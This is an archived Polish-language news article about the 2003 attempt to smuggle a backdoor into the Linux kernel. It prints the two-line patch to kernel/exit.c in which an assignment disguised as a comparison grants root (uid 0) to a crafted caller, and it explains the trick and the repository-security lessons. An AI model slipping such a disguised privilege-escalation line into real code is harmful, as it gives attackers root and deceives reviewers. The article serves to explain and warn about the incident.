Ktoś próbował przemycić niezbyt dobry kawalek kodu do kernela – konia trojańskiego.
Jakie mógł spowodować problemy ?
Jak to się ma do bezpieczeństwa platformy GNU/Linux ?
W środę 05-XI-2003 Larry McVoy, człowiek stojący za BitKeeperem napisał na liście dotyczącej rozwoju kernela (potocznie zwanej LKML), że ktoś próbował „przemycić” do źródeł jądra małego patcha.
Łatka dodaje zaledwie dwie linijki do kernel/exit.c .
Oto ten patch:
--- GOOD 2003-11-05 13:46:44.000000000 -0800 +++ BAD 2003-11-05 13:46:53.000000000 -0800 @@ -1111,6 +1111,8 @@ schedule(); goto repeat; } + if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) + retval = -EINVAL; retval = -ECHILD; end_wait4: current->state = TASK_RUNNING;
Dla niewtajemniczonych: spowoduje to ustawienie właściciela (pole uid) procesu na 0, czyli po prostu jako super użytkownika.
Co to oznacza? Oznacza to, że odpowiednio sformatowany program zaraz po wywołaniu funkcji exit() zostanie obdarowany maksymalnymi możliwymi uprawnieniami.
Ktoś sprytnie próbował wykorzystać stary problem, przed którym obecnie kompilator gcc ostrzega, lub też wręcz zgłasza błąd kompilacji.
Chodzi o to, że w warunku „if” zamiast porównania „==” zostało użyte podstawienie „=”. Problem ten spotyka się czasem w źródłach oprogramowania. Jest go bardzo prosto popełnić i praktycznie bardzo ciężko zauważyć.
Na szczęście problem został zauważony i łata nie dostała się do samego jądra. Oprogramowanie Open Source jest jak otwarta księga – nic nie może się ukryć. Oznacza to też, iż takie przypadki są wystawione na krytykę zarówno użytkowników, jak i firm.
Całe zamieszanie spowodowało dyskusję na temat jakości zabezpieczeń w GNU/Linuksie. Moim prywatnym zdaniem, jest to bardziej kwestia bezpieczeństwa oprogramowania umożliwiającego pracę zespołową, i śledzącego zmiany, np.: BitKeeper, CVS – niezależnie od tego na jakim systemie operacyjnym działa – i pokazuje pewne niebezpieczeństwa jakie niesie za sobą używanie tego typu usług w publicznej sieci jaką jest internet.
Temat jest otwarty i z pewnością deweloperzy kernela i Larry, wyciągną z tego incydentu odpowiednie wnioski. Obecnie trwa dyskusja na temat metody jak najlepszego zabezpieczenia serwera źródeł, aby podobna sytuacja nie mogła powtórzyć się w przyszłości.
Mam nadzieję, że wnioski wyciągną również inni programiści Open Source i więcej projektów podejmie odpowiednie kroki, aby zabezpieczyć się przed tego typu niebezpieczeństwami.
Archiwalny news dodany przez użytkownika: gj.
Kliknij tutaj by zobaczyć archiwalne komentarze.